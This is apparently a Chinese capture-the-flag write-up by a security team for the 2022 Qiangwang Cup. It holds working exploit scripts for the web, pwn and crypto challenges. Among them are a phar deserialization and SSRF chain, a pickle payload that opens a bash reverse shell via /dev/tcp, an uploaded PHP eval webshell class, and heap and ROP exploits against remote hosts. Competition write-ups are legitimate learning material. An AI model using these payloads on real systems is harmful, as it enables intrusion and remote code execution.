强网杯-WriteUp

百家 作者:Chamd5安全团队 2022-08-02 10:25:15

Web

babyweb

websocket
1.?help:?帮助菜单?
2.?changepw:?修改密码?示例:?changepw?123456?
3.?bugreport:?向管理员报告漏洞页面?示例:?bugreport?http://host:port/login


在 VPS 上构造上面这样的 1.html,然后让管理来访问,即bugreport http://vpsip/1.html

然后使用admin/123登录管理员账户即可,登录后存在购买页面,经过测试,使用如下 payload 可以绕过检查,再访问主页面即可获得 flag


easyweb

文件读取
http://47.104.95.124:8080/showfile.php?f=/demo.png/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/var/www/html/showfile.php
index.php
???<?php
????$upload?=?md5("2022qwb".$_SERVER['REMOTE_ADDR']);
????@mkdir($upload,?0333,?true);
????if(isset($_POST['submit']))?{
????????include?'upload.php';
????}
?????>
upload.php
<?php
error_reporting(0);
require_once('class.php');

if(isset($_SESSION)){
????if(isset($_GET['fname'])?!empty($_GET['fname']):FALSE){
????????$_FILES["file"]["name"]?=?$_GET['fname'];
????}
????$upload?=?new?Upload();
????$upload->upload();
}else?{
????die("<p?class='tip'>guest?can?not?upload?file</p>");
}
?>
showfile.php
<?php
error_reporting(0);
require_once('class.php');
$filename?=?$_GET['f'];

if(preg_match("/http|https|bzip2|gopher|dict|zlib|data|input|%00/i",?$filename)){
????die("nop");
}
else{
????if(isset($_SESSION)){
????????$show?=?new?AdminShow($filename);
????????$show->show();
????}else{
????????if(preg_match('/guest|demo/i',$filename))?{
????????????$show?=?new?GuestShow($filename);
????????????$show->show();
????????}else{
????????????die("<p?class='tip'>no?permission,?you?can?only?see?string?'demo'?and?'guest'</p>");
????????}
????}
}
?>
class.php
<?php
class?Upload?{
????public?$file;
????public?$filesize;
????public?$date;
????public?$tmp;
????function?__construct(){
????????$this->file?=?$_FILES["file"];
????}
????function?do_upload()?{
????????$filename?=?session_id().explode(".",$this->file["name"])[0].".jpg";
????????if(file_exists($filename))?{
????????????unlink($filename);
????????}
????????move_uploaded_file($this->file["tmp_name"],md5("2022qwb".$_SERVER['REMOTE_ADDR'])."/".$filename);
????????echo?'upload??'."./".md5("2022qwb".$_SERVER['REMOTE_ADDR'])."/".$this->e($filename).'?success!';
????}
????function?e($str){
????????return?htmlspecialchars($str);
????}
????function?upload()?{
????????if($this->check())?{
????????????$this->do_upload();
????????}
????}
????function?__toString(){
????????return?$this->file["name"];
????}
????function?__get($value){
????????$this->filesize->$value?=?$this->date;
????????echo?$this->tmp;
????}
????function?check()?{
????????$allowed_types?=?array("jpg","png","jpeg");
????????$temp?=?explode(".",$this->file["name"]);
????????$extension?=?end($temp);
????????if(in_array($extension,$allowed_types))?{
????????????return?true;
????????}
????????else?{
????????????echo?'Invalid?file!';
????????????return?false;
????????}
????}
}
class?GuestShow{
????public?$file;
????public?$contents;
????public?function?__construct($file)
????
{

????????$this->file=$file;
????}
????function?__toString(){
????????$str?=?$this->file->name;
????????return?"";
????}
????function?__get($value){
????????return?$this->$value;
????}
????function?show()
????
{
????????$this->contents?=?file_get_contents($this->file);
????????$src?=?"data:jpg;base64,".base64_encode($this->contents);
????????echo?"<img?src={$src}?/>";
????}
????function?__destruct(){
????????echo?$this;
????}
}
class?AdminShow{
????public?$source;
????public?$str;
????public?$filter;
????public?function?__construct($file)
????
{
????????$this->source?=?$file;
????????$this->schema?=?'file:///var/www/html/';
????}
????public?function?__toString()
????
{
????????$content?=?$this->str[0]->source;
????????$content?=?$this->str[1]->schema;
????????return?$content;
????}
????public?function?__get($value){
????????$this->show();
????????return?$this->$value;
????}
????public?function?__set($key,$value){
????????$this->$key?=?$value;
????}
????public?function?show(){
????????if(preg_match('/usr|auto|log/i'?,?$this->source))
????????{
????????????die("error");
????????}
????????$url?=?$this->schema?.?$this->source;
????????$curl?=?curl_init();
????????curl_setopt($curl,?CURLOPT_URL,?$url);
????????curl_setopt($curl,?CURLOPT_RETURNTRANSFER,?1);
????????curl_setopt($curl,?CURLOPT_HEADER,?1);
????????$response?=?curl_exec($curl);
????????curl_close($curl);
????????$src?=?"data:jpg;base64,".base64_encode($response);
????????echo?"<img?src={$src}?/>";

????}
????public?function?__wakeup()
????
{
????????if?($this->schema?!==?'file:///var/www/html/')?{
????????????$this->schema?=?'file:///var/www/html/';
????????}
????????if?($this->source?!==?'admin.png')?{
????????????$this->source?=?'admin.png';
????????}
????}
}
题目提示内部系统,因此猜测最终需要调用 AdminShow 的 show 方法去做 ssrf。先读了一下/proc/net/arp,得到内网有两 IP:10.10.10.1010.10.10.101


class.php中有一堆魔术方法,又存在文件上传和file_get_contents,因此只需构造 phar 反序列化,上传后触发即可。构造代码在最后贴出。

文件上传需要设置$_SESSION,这点可以通过设置PHP_SESSION_UPLOAD_PROGRESS搞定。

在反序列化时 AdminShow 类的__wakeup函数会设置 source 和 schema,从而让我们无法控制 ssrf 的地址,所以需要绕过__wakeup,利用CVE-2016-7124,改大个数。但是 phar 修改后上传报错。

搜索发现这篇文章中类似的题目?http://www.yongsheng.site/2022/05/14/phar/即修改类个数后需要重新计算签名

直接复制文章脚本计算新签名:
from?hashlib?import?sha1

file?=?open("exp.jpg","rb").read()
text?=?file[:-28]??#读取开始到末尾除签名外内容
last?=?file[-8:]???#读取最后8位的GBMB和签名flag
new_file?=?text+sha1(text).digest()?+?last??#生成新的文件内容,主要是此时Sha1正确了。
open("exp2.jpg","wb").write(new_file)
然后上传,抓包加上 cookie 和PHP_SESSION_UPLOAD_PROGRESS


再访问触发 phar 反序列化,得到内容
/showfile.php?f=phar://./3fddbdeeb265642d6506eb011d5f9dc6/sakai2.jpg/demo.txt?
分别读了一下,http://10.10.10.101/读不到没内容,http://10.10.10.10代码如下:


由于 curl 支持 file 协议,直接 ssrf 访问http://10.10.10.10/?url=file:///flag即可获得 flag

因为过程过于繁琐,写了个脚本,exp.php 如下:
<?php
//exp.php
class?Upload?{
????public?$file;
????public?$filesize;
????public?$date;
????public?$tmp;
????function?__construct(){
????????$this->file?=?$_FILES["file"];
????}
}

class?GuestShow{
????public?$file;
????public?$contents;
????public?function?__construct($file)
????
{

????????$this->file=$file;
????}

}

class?AdminShow{
????public?$source;
????public?$str;
????public?$filter;
????public?function?__construct($file)
????
{
????????$this->source?=?$file;
????}
}

$a?=?new?AdminShow('aa');
$a->source='';
$a->schema=$argv[1];????//设置ssrf地址
$b?=?new?GuestShow('aa');
$b->file=$a;

unlink('exp.jpg');
$phar?=?new?Phar('phar.phar');?
$phar?->?startBuffering();
$phar?->?setStub('GIF89a'."?__HALT_COMPILER();?>");???//设置stub,增加gif文件头
$phar?->addFromString('demo.txt','test');??//添加要压缩的文件
$phar?->?setMetadata($b);??//将自定义meta-data存入manifest
$phar?->?stopBuffering();
rename('phar.phar','exp.jpg');
上传脚本exp.py如下:
import?requests
import?os
from?hashlib?import?sha1
import?re
import?base64

#?target=?'http://10.10.10.10/?url=http://10.10.10.101/'
target?=?'http://10.10.10.10/?url=file:///flag'

os.system('php?exp.php?{}'.format(target))
f1?=?open('exp.jpg','rb').read()
file?=?f1.replace(b'"AdminShow":4',b'"AdminShow":5')
text?=?file[:-28]??#?读取开始到末尾除签名外内容
last?=?file[-8:]??#?读取最后8位的GBMB和签名flag
new_file?=?text?+?sha1(text).digest()?+?last??#?生成新的文件内容,主要是此时Sha1正确了。
open('exp2.jpg',?"wb").write(new_file)

cookiename="sakai"

url='http://47.104.95.124:8080/'
headers={
????"Cookie":'PHPSESSID='+cookiename
}
payload=open('exp2.jpg',"rb").read()
files={
????'file':("exp2.jpg",payload)
}
data={
????"PHP_SESSION_UPLOAD_PROGRESS":'xxx',
????'submit':'提交'
}

res=requests.post(url,files=files,data=data,headers=headers)
filepath?=?re.findall(r'upload\s{2}(.*)\ssuccess!',res.text)[0]
res?=?requests.get(url+'showfile.php?f=phar://'+filepath+'/demo.txt')
tmp?=?re.findall(r'<img?src=data:jpg;base64,(.*)?/><img?src=data:jpg;base64,?/>',res.text)[0]
tmp?=?base64.b64decode(tmp)
#?print(tmp)
with?open('flag.html','wb')?as?f3:
????f3.write(tmp)
print('done')


crash

题目在 balancer 路由存在一个 pickle 反序列化 rce,过滤了 R,找了一下参考?https://www.163.com/dy/article/G6J7KHJP0538S33I.html,用如下 payload 可以反弹 shell


请求脚本:
import?requests
import?re
import?base64
import?pickle
from?flask?import?Flask,?make_response,request,?session
import?pickletools

url='http://47.93.187.169:13528/'

burp0_url=url+'login'
burp0_cookies?=?{"userdata":?"gAJjX19tYWluX18KVXNlcgpxACmBcQF9cQIoWAgAAAB1c2VybmFtZXEDWAUAAABzYWthaXEEWAUAAAB0b2tlbnEFigiStsURvzkoAXViLg==",?"session":?"eyJwYXNzd29yZCI6IjEyMyJ9.YuTtrQ.7cLupb8BOqZV4kOwBqdVhJkxYUQ"}
burp0_headers?=?{"Cache-Control":?"max-age=0",?"DNT":?"1",?"Upgrade-Insecure-Requests":?"1",?"User-Agent":?"Mozilla/5.0?(Macintosh;?Intel?Mac?OS?X?10_15_7)?AppleWebKit/537.36?(KHTML,?like?Gecko)?Chrome/103.0.0.0?Safari/537.36",?"Accept":?"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",?"Accept-Encoding":?"gzip,?deflate",?"Accept-Language":?"zh-CN,zh;q=0.9,en;q=0.8,ja;q=0.7,ru;q=0.6",?"Connection":?"close",?"Content-Type":?"application/x-www-form-urlencoded"}
burp0_data?=?{"username":?"sakai",?"password":?"123"}
res?=?requests.post(burp0_url,?headers=burp0_headers,?cookies=burp0_cookies,?data=burp0_data)

session?=?res.headers['Set-Cookie'].split(';')[3].split(',')[1].strip()
realsession?=?session[8:]
realuserdata=b'''(cos
system
S'
bash?-c?"bash?-i?>&?/dev/tcp/ip/port?0>&1"'
o.'
''

print(base64.b64encode(realuserdata))
realuserdata=base64.b64encode(realuserdata).decode()
print(realuserdata)
burp0_url?=?url+"balancer"
burp0_cookies?=?{"userdata":?realuserdata,?"session":?realsession}
burp0_headers?=?{"Cache-Control":?"max-age=0",?"DNT":?"1",?"Upgrade-Insecure-Requests":?"1",?"User-Agent":?"Mozilla/5.0?(Macintosh;?Intel?Mac?OS?X?10_15_7)?AppleWebKit/537.36?(KHTML,?like?Gecko)?Chrome/103.0.0.0?Safari/537.36",?"Accept":?"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",?"Accept-Encoding":?"gzip,?deflate",?"Accept-Language":?"zh-CN,zh;q=0.9,en;q=0.8,ja;q=0.7,ru;q=0.6",?"Connection":?"close",?"Content-Type":?"application/x-www-form-urlencoded"}
res?=?requests.post(burp0_url,?headers=burp0_headers,?cookies=burp0_cookies)
print(res.text)
由于题目说需要 504 页面,也就是需要网页超时,于是反弹 shell 后往服务器上传了一个 python 文件,代码如下:
import?base64
from?flask?import?Flask,?make_response,request,?session
import?time
app?=?Flask(__name__,static_url_path='')
app.secret_key='hello'

@app.route('/',methods=['GET','POST'])
def?flag():
????time.sleep(1000)
????return?'success'

if?__name__?==?'__main__':
????app.run(host='0.0.0.0',?port=5000)
然后跑起来


最后直接访问首页,即可超时获取 flag

强网先锋

rcefile

存在 www.zip 文件

注意到 config.inc.php 中存在spl_autoload_register函数,又存在文件上传,于是可以上传一个xxx.inc文件,其中有一个同名 xxx 类,在 cookie 反序列化时即可实现类自动加载执行,文件名写脚本上传即可,脚本如下:
import?requests
import?time
import?hashlib

name?=?hashlib.md5(str(int(time.time())).encode()).hexdigest()
burp0_url?=?"http://eci-2ze69f1lybic2yim76dd.cloudeci1.ichunqiu.com/upload.php"
burp0_cookies?=?{?"userfile":?"a%3A1%3A%7Bi%3A0%3Bs%3A36%3A%229b6d4595f0e44610087536aea53546ce.png%22%3B%7D"}
burp0_headers?=?{"Cache-Control":?"max-age=0",?"Origin":?"http://eci-2ze10x6989pgnwt57n0z.cloudeci1.ichunqiu.com",?"Upgrade-Insecure-Requests":?"1",?"DNT":?"1",?"Content-Type":?"multipart/form-data;?boundary=----WebKitFormBoundaryIA3mura5cNnbrw4S",?"User-Agent":?"Mozilla/5.0?(Macintosh;?Intel?Mac?OS?X?10_15_7)?AppleWebKit/537.36?(KHTML,?like?Gecko)?Chrome/103.0.0.0?Safari/537.36",?"Accept":?"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",?"Referer":?"http://eci-2ze10x6989pgnwt57n0z.cloudeci1.ichunqiu.com/index.php",?"Accept-Encoding":?"gzip,?deflate",?"Accept-Language":?"zh-CN,zh;q=0.9,en;q=0.8,ja;q=0.7,ru;q=0.6",?"Connection":?"close"}
burp0_data?=?"------WebKitFormBoundaryIA3mura5cNnbrw4S\r\nContent-Disposition:?form-data;?name=\"file\";?filename=\"sakai.inc\"\r\nContent-Type:?image/png\r\n\r\n<?php?\nclass?"+name+"{\n????public?function?__wakeup(){\n????????eval($_REQUEST['sakai']);\n????}\n}\r\n------WebKitFormBoundaryIA3mura5cNnbrw4S--\r\n"
res?=?requests.post(burp0_url,?headers=burp0_headers,?cookies=burp0_cookies,?data=burp0_data)
print(res.text)



devnull

ret 的时候 rdx 正好是 7,把 rax 控制一下触发 mprotect,然后执行 shellcode
#?-*-?coding:?utf-8?-*-
from?pwn?import?*
#p=process('./devnull')
p=remote('123.56.105.22',13870)
elf=ELF('./devnull')

context(arch='amd64',?os='linux',?terminal=['tmux',?'splitw',?'-h'])
#context.log_level='debug'
def?debug():
????gdb.attach(p)
????pause()
def?lg(name,val):
????log.success(name+'?:?'+hex(val))

#debug()
p.recvuntil('filename')
payload=36*'a'+p64(0x3fe000)*4+p32(0x0000000000401354)#p32(0x4014D7)
#debug()
#0x0000000000401350?:?mov?rax,?qword?ptr?[rbp?-?0x18]?;?leave?;?ret
p.send(payload)
sleep(0.1)
p.send(p64(0x3fe000+0x28)+p64(0x401350)+p64(0x3fe000)+'/bin/sh\x00'*2+p64(0xdeadbeef)+p64(0x4012d0)+p64(0)+p64(0x3fe000+0x48)+asm(shellcraft.execve(0x3fe000+0x18,0,0)))

sleep(1)
p.sendline('exec?1>&2')
#debug()

p.interactive()

ASR

通过 yafu 分解得到质因数,网上找了个类似的脚本直接跑
from?Crypto.Util.number?import?*
import?time
from?binascii?import?hexlify,?unhexlify

def?all_printable(s):
????for?i?in?s:
????????if?i?in?range(0x20,?0x7f):
????????????continue
????????else:
????????????return?False
????return?True

n?=?8250871280281573979365095715711359115372504458973444367083195431861307534563246537364248104106494598081988216584432003199198805753721448450911308558041115465900179230798939615583517756265557814710419157462721793864532239042758808298575522666358352726060578194045804198551989679722201244547561044646931280001
e?=?3
c?=?945272793717722090962030960824180726576357481511799904903841312265308706852971155205003971821843069272938250385935597609059700446530436381124650731751982419593070224310399320617914955227288662661442416421725698368791013785074809691867988444306279231013360024747585261790352627234450209996422862329513284149
a1?=?225933944608558304529179430753170813347
a2?=?260594583349478633632570848336184053653
a3?=?218566259296037866647273372633238739089
a4?=?223213222467584072959434495118689164399


PR.<x>?=?PolynomialRing(Zmod(a1))
f1?=?x?^?e?-?c
a1_roots?=?[int(i[0])?for?i?in?f1.monic().roots()]

PR.<x>?=?PolynomialRing(Zmod(a2))
f1?=?x?^?e?-?c
a2_roots?=?[int(i[0])?for?i?in?f1.monic().roots()]

PR.<x>?=?PolynomialRing(Zmod(a3))
f1?=?x?^?e?-?c
a3_roots?=?[int(i[0])?for?i?in?f1.monic().roots()]

PR.<x>?=?PolynomialRing(Zmod(a4))
f1?=?x?^?e?-?c
a4_roots?=?[int(i[0])?for?i?in?f1.monic().roots()]

for?aa1?in?a1_roots:
????for?aa2?in?a2_roots:
????????for?aa3?in?a3_roots:
????????????for?aa4?in?a4_roots:
????????????????
????????????????tmp_solve?=?long_to_bytes(CRT_list([aa1,?aa2,?aa3,?aa4],?[a1,?a2,?a3,?a4]))
????????????????if?b'flag'?in?tmp_solve:
???????????????????print(tmp_solve)
????????????????
print("Down!")

polydiv

from?pwn?import?*
from?pwnlib.util.iters?import?bruteforce
from?parse?import?*
import?string
from?hashlib?import?sha256
import?time
context.log_level="debug"

p=remote('47.94.166.51',28033)
def?brute_force(c,s):
????return?bruteforce(lambda?x:sha256((x+c).encode("utf-8")).hexdigest()==s,string.ascii_letters+string.digits,length=4)

#data=conn.recvline(keepends=False)
data=str(p.recvline(),encoding='utf-8')
p.recvuntil('XXXX:')

s=parse("sha256(XXXX+{})?==?{}\n",data)
p.sendline(brute_force(s[int(0)],s[int(1)]))
for?i?in?range(40):
????rx=p.recvline()[7:-1]
????ax=p.recvline()[7:-1]
????cx=p.recvline()[7:-1]
????p.recvline()
????r=sage_eval(str(rx)[2:-1],locals={'x':x})
????c=sage_eval(str(cx)[2:-1],locals={'x':x})
????a=sage_eval(str(ax)[2:-1],locals={'x':x})
????bx=(r-c)/a
????print(bx)
????p.sendlineafter('>?b(x)?=?',str(bx))
#?????tmp=p.recvline()
????p.recvuntil('Success!\n')

p.recvlines(10)
p.recv(1024,timeout=1)

Pwn

houseofcat

一次打 house of apple,一次打 house of kiwi 触发 fsop
from?pwn?import*
#p=process('./house_of_cat')
p=remote('123.56.45.155',18302)
libc=ELF('./libc.so.6')


context(arch='amd64',?os='linux',?terminal=['tmux',?'splitw',?'-h'])
#context.log_level='debug'
def?debug():
????gdb.attach(p)
????pause()
def?lg(name,val):
????log.success(name+'?:?'+hex(val))
def?menu(idx):
????p.recvuntil('choice:\n')
????p.sendline(str(idx))
def?add(idx,size,con):
????p.recvuntil('mew?mew?mew~~~~~~\n')
????p.send('CAT?|?r00t?QWXFQWB?QWXF\xff\xff\xff\xff$')
????menu(1)
????p.recvuntil('idx:\n')
????p.sendline(str(idx))
????p.recvuntil('size:\n')
????p.sendline(str(size))
????p.recvuntil('content:\n')
????p.send(con)
def?delete(idx):
????p.recvuntil('mew?mew?mew~~~~~~\n')
????p.send('CAT?|?r00t?QWXFQWB?QWXF\xff\xff\xff\xff$')
????menu(2)
????p.recvuntil('idx:\n')
????p.sendline(str(idx))
def?show(idx):
????p.recvuntil('mew?mew?mew~~~~~~\n')
????p.send('CAT?|?r00t?QWXFQWB?QWXF\xff\xff\xff\xff$')
????menu(3)
????p.recvuntil('idx:\n')
????p.sendline(str(idx))
def?edit(idx,?con):
????p.recvuntil('mew?mew?mew~~~~~~\n')
????p.send('CAT?|?r00t?QWXFQWB?QWXF\xff\xff\xff\xff$')
????menu(4)
????p.recvuntil('idx:\n')
????p.sendline(str(idx))
????p.recvuntil('content:\n')
????p.send(con)
?
p.recvuntil('mew?mew?mew~~~~~~\n')
p.send('LOGIN?|?r00t?QWXFQWB?QWXFadmin')


add(0,0x428,'aaa')
add(1,0x418,'aaa')
add(2,0x418,'aaa')
delete(0)
add(3,0x438,'aaa')
#debug()
show(0)


libc.address=u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))-0x21a0d0
p.recv(10)
heap_base=u64(p.recv(6).ljust(8,b'\x00'))-0x290
lg('libc.address',libc.address)
lg('heap_base',heap_base)
#debug()


rop_addr=heap_base+0x1790
fake_io1=p64(0)*5
fake_io1+=p64(libc.sym['setcontext']+61)
fake_io1+=p64(0)*5
fake_io1+=p64(rop_addr)
fake_io1+=p64(2)?+?p64(0xffffffffffffffff)
fake_io1+=p64(0)?+?p64(libc.address+0x21ba60)
fake_io1+=p64(0xffffffffffffffff)?+?p64(0)
fake_io1+=p64(heap_base+0x340)+p64(libc.address+0x00000000001675b0)
fake_io1+=p64(0)*2
fake_io1+=p64(1)
fake_io1+=p64(0)*2
fake_io1+=p64(libc.address+0x2160c0-0xc0-0x20)#io_wfile_jumps?vtable
fake_io1+=p64(0)
fake_io1+=p64(libc.sym['setcontext']+61)
fake_io1+=p64(0)*0x5
fake_io1+=p64(libc.address+0x000000000007498c)
fake_io1+=p64(0)*0xe
fake_io1+=p64(heap_base+0x340)
#debug()
add(9,0x428,fake_io1)
#debug()
add(8,0x428,'a')
add(7,0x438,'a')
add(6,0x418,'a')
delete(6)
delete(7)
delete(8)
delete(9)
add(0xa,?0x438,'a')
delete(2)
#debug()
edit(0,p64(libc.address+0x21a0d0)*2+p64(heap_base+0x290)+p64(libc.sym['stderr']-0x20))
#debug()
ret=libc.address+0x00000000000f872e


fake_io2=p64(0)+p64(rop_addr)
fake_io2+=p64(1)+p64(0)
fake_io2+=p64(libc.sym['setcontext']+61)
fake_io2+=p64(0)*13
fake_io2+=p64(heap_base+0xae0)
fake_io2=fake_io2.ljust(0xa0,'\x00')
fake_io2+=p64(heap_base+0xb00)+p64(ret)


add(4,0x438,fake_io2)


pop_rdi=libc.address+0x000000000002a3e5
pop_rsi=libc.address+0x000000000002be51
pop_rdx_r12=libc.address+0x000000000011f497
pop_rax=libc.address+0x0000000000045eb0
syscall=libc.address+0x0000000000091396


#debug()
rop='./flag\x00\x00'+p64(0)
rop+=p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(0)+p64(pop_rdx_r12)+p64(0)+p64(0)+p64(pop_rax)+p64(3)
rop+=p64(syscall)
rop+=p64(pop_rdi)+p64(heap_base+0xaf0)+p64(pop_rsi)+p64(0)+p64(pop_rdx_r12)+p64(0)+p64(0)+p64(pop_rax)+p64(2)
rop+=p64(syscall)
rop+=p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(heap_base+0x1000)+p64(pop_rdx_r12)+p64(0x30)+p64(0)+p64(pop_rax)+p64(0)
rop+=p64(syscall)
rop+=p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(heap_base+0x1000)+p64(pop_rdx_r12)+p64(0x30)+p64(0)+p64(pop_rax)+p64(1)
rop+=p64(syscall)
#debug()
add(5,0x418,rop)
edit(6,p64(0)+p64(0x133))
#debug()

p.recvuntil('mew?mew?mew~~~~~~\n')
p.send('CAT?|?r00t?QWXFQWB?QWXF\xff\xff\xff\xff$')
menu(1)
p.recvuntil('idx:\n')
p.sendline(str(0xf))
p.recvuntil('size:\n')
#debug()
p.sendline(str(0x430))

easychain1

(最后十分钟远程靶机连不上导致没有打通)

通过 bindiff 找到漏洞位于ecma_builtin_array_prototype_object_pop

当 array 对象进行 pop() 操作时,传入ecma_delete_fast_array_properties为 len-2,导致在内部将 array.length 刷新为 len-2:

uint32_t
ecma_delete_fast_array_properties?(ecma_object_t?*object_p,?/**<?fast?access?mode?array?*/
???????????????????????????????????uint32_t?new_length)?/**<?new?length?of?the?fast?access?mode?array?*/
{
??...
??ext_obj_p->u.array.length?=?new_length;
??...
}?????????????????????????????

如果当前 array.length 为 1,在 array.pop() 执行完毕,array.length = -1,可以进行数组越界访问。

利用方法:在jerry_heap上伪造出一个 float 对象,使用 array 越界访问,通过 float 对象可以读取 jerry_heap 上的任意数据,这样可以 leak 出 pie 地址。然后构造两个存储 ArrayBuffer 的 DataView 对象,利用 array 越界修改 DataView1 的 length

然后通过 DataView1 修改 DataView2 的 buffer 指针进行任意读写,先通过 pie 计算 got 表地址 leak 出 libc 地址,再通过 environ 地址 leak stack 地址,最后在栈上返回地址布置 rop 链即可 getshell。

EXP 如下:(比赛结束后,靶机恢复了- -,测试脚本与远程交互时需要把 js 代码的换行删掉)
from?pwn?import?*
context.log_level?=?'debug'
p?=?process("./pwn")
#gdb.attach(p)
p.sendafter('pwn>?','''function?f64_to_hex(f64v)?{
????var?x?=?new?Float64Array(1);
????var?y?=?new?Uint8Array(x.buffer);
????x[0]?=?f64v;
????var?hex_res?=?"0x";
????for?(var?i?=?7;?i?>?-1;?i--)?{
????????hex_res?+=?y[i].toString(16).padStart(2,?"0");
????}
????return?hex_res;
}

var?tmp?=?[]
for?(var?i=0;i<0x200;i++)
????tmp[i]?=?[0x1234];
var?a?=?[0x2333];
var?buffer?=?new?ArrayBuffer(0x20)
data=new?DataView(buffer,0,0x20)
var?buffer2?=?new?ArrayBuffer(0x20)
data2=new?DataView(buffer2,0,0x20)
var?b?=?[0x6161,0x6262,0x6363,0x6464,a];
r?=?new?ArrayBuffer(0x20);
var?w?=?new?Uint32Array(r);
var?magic?=?0x62
w[0]?=?43<<3|2;
a.pop();
c?=?a[magic]
var?pie?=?parseInt(f64_to_hex(c))
print(pie)
a[0x35]?=?0x100
data.setUint32(0xc8,(pie+0x28641-0x10)&0xffffffff,?true)
data.setUint32(0xc8+4,pie/0x100000000,?true)
libc_base=data2.getUint32(0,true)+data2.getUint32(4,true)*0x100000000-0x61c90
print(libc_base)
data.setUint32(0xc4,0x3000,?true)
data.setUint32(0xc8,(libc_base+0x1ed3a0)&0xffffffff,?true)
data.setUint32(0xc8+4,(libc_base+0x1ed3a0)/0x100000000,?true)
stack=data2.getUint32(0x2260,true)+data2.getUint32(0x2260+4,true)*0x100000000
print(stack)
data.setUint32(0xc8,(stack-0x148)&0xffffffff,?true)
data.setUint32(0xc8+4,(stack-0x148)/0x100000000,?true)
data2.setUint32(0x30,(libc_base+0x23b6b)&0xffffffff,?true)
data2.setUint32(0x34,(libc_base+0x23b6b)/0x100000000,?true)
data2.setUint32(0x38,(libc_base+0x23b6a)&0xffffffff,?true)
data2.setUint32(0x3c,(libc_base+0x23b6a)/0x100000000,?true)
data2.setUint32(0x40,(libc_base+0x1b45bd)&0xffffffff,?true)
data2.setUint32(0x44,(libc_base+0x1b45bd)/0x100000000,?true)
data2.setUint32(0x48,(libc_base+0x52290)&0xffffffff,?true)
data2.setUint32(0x4c,(libc_base+0x52290)/0x100000000,?true)'
'')
p.interactive()

yakagame

漏洞点在于自己添加函数,然后把他加入 weaponlist 时,使用的 idx 索引和之前的 unisgned int8 不一样,是 char 类型的,这导致超过 127 时,会变成负数

修改数组前面区域的内容,修改 score 指针,让他指向满足条件的地址就行,需要爆破,然后将 cmd 里的内容变成 cat flag
#include?<stdio.h>
void?fight(int?a){};
void?merge(int?a,int?b){};
void?destroy(int?a){};
void?upgrade(int?a){};
void?wuxiangdeyidao(){};
void?zhanjinniuza(){};
void?guobapenhuo(){};
void?tiandongwanxiang(){};

void?a0(int?a);
void?a1(int?a);
void?……(由于篇幅省略)
void?a8(int?a);
void?a9(int?a);
void?b0(int?a);
void?b1(int?a);
void?……(由于篇幅省略)
void?b8(int?a);
void?b9(int?a);
void?c0(int?a);
void?c1(int?a);
void?……(由于篇幅省略)
void?c8(int?a);
void?c9(int?a);
void?d0(int?a);
void?d1(int?a);
void?……(由于篇幅省略)
void?d8(int?a);
void?d9(int?a);

……………………

void?y0(int?a);
void?y1(int?a);
void?……(由于篇幅省略)
void?y8(int?a);
void?y9(int?a);
void?z0(int?a);
void?z1(int?a);
void?z2(int?a);
void?z3(int?a);
void?z4(int?a);

void?gamestart()
{
????tiandongwanxiang();
????wuxiangdeyidao();
????guobapenhuo();
????wuxiangdeyidao();
????
????a0(0);
????a1(0);
????……
????a8(0);
????a9(0);
????b0(0);
????b1(0);
????……
????b8(0);
????b9(0);
????c0(0);
????c1(0);
????……
????c8(0);
????c9(0);
????d0(0);
????d1(0);
????……(由于篇幅省略qaq)
????x8(0);
????x9(0);
????y0(0);
????y1(0x59);
????y2(0);
????……
????y8(0);
????y9(0);
????z0(0);
????z1(0);
????……
????z8(0);
????z9(0);
????
????y1(0xab);
????fight(0);
}

Revers

find_basic

去混淆脚本
from?idc?import?*
from?capstone?import?*
from?keystone?import?*

md?=?Cs(CS_ARCH_X86,?CS_MODE_32)
ks?=?Ks(KS_ARCH_X86,?KS_MODE_32)
new_code_ea?=?0x96150
new_code?=?b''

def?mydis(code,?addr=0):
????for?i?in?md.disasm(code,?addr):
????????return?('%s?%s'?%(i.mnemonic,?i.op_str))

def?myasm(dis_txt,?addr=0):
????encoding,?count?=?ks.asm(dis_txt,?addr=addr)
????return?bytes(encoding)

start_ea?=?0x48F4
end_ea?=?0x61B6

class?Block:
????def?__init__(self,?start_ea,?end_ea,?imm,?reg,?call_target):
????????self.start_ea?=?start_ea
????????self.end_ea?=?end_ea
????????self.imm?=?imm
????????self.reg?=?reg
????????self.call_target?=?call_target

regnums?=?[]

def?get_block(start_ea):
????global?new_code,?new_code_ea
????mnem_list?=?['pushf',?'pusha',?'mov',?'call',?'pop']
????ea?=?start_ea
????i?=?0
????while?i?<?5:
????????mnem?=?idc.print_insn_mnem(ea)
????????if?mnem_list[i%5]?!=?mnem:
????????????if?i%5?==?0:
????????????????if?ea?==?0x4915:
????????????????????dis?=?'mov?ebx,?0x491a'
????????????????else:
????????????????????dis?=?mydis(idc.get_bytes(ea,?idc.get_item_size(ea)),?ea)
????????????????new_code?+=?myasm(dis,?new_code_ea?+?len(new_code))
????????????????#print('ea=%x,?dis=%s'?%(ea,?dis))
????????????????ea?+=?idc.get_item_size(ea)
????????????????start_ea?=?ea
????????????????continue
????????????#print('ea=%x,?mnem=%s'?%(ea,?mnem))
????????????raise?0
????????if?mnem?==?'mov':
????????????imm?=?idc.get_operand_value(ea,?1)
????????????#?17?->?cl,?18?->?dl,?19?->?bl
????????????reg?=?idc.get_operand_value(ea,?0)?#reg_id
????????????'''
????????????if?reg?not?in?regnums:
????????????????print?('
reg=%s,?ea=%x'?%(reg,?ea))
????????????????regnums.append(reg)
????????????'
''

????????if?mnem?==?'call':
????????????call_target?=?idc.get_operand_value(ea,?0)
????????i?+=?1
????????ea?+=?idc.get_item_size(ea)
????return?Block(start_ea,?ea,?imm,?reg,?call_target)


def?get_real_code(block):
????global?new_code,?new_code_ea
????ea?=?block.call_target
????while?True:
????????mnem?=?idc.print_insn_mnem(ea)
????????if?mnem?==?'cmp':
????????????reg?=?idc.get_operand_value(ea,?0)
????????????imm?=?idc.get_operand_value(ea,?1)
????????????if?(reg?==?block.reg)?&?(imm?==??block.imm):
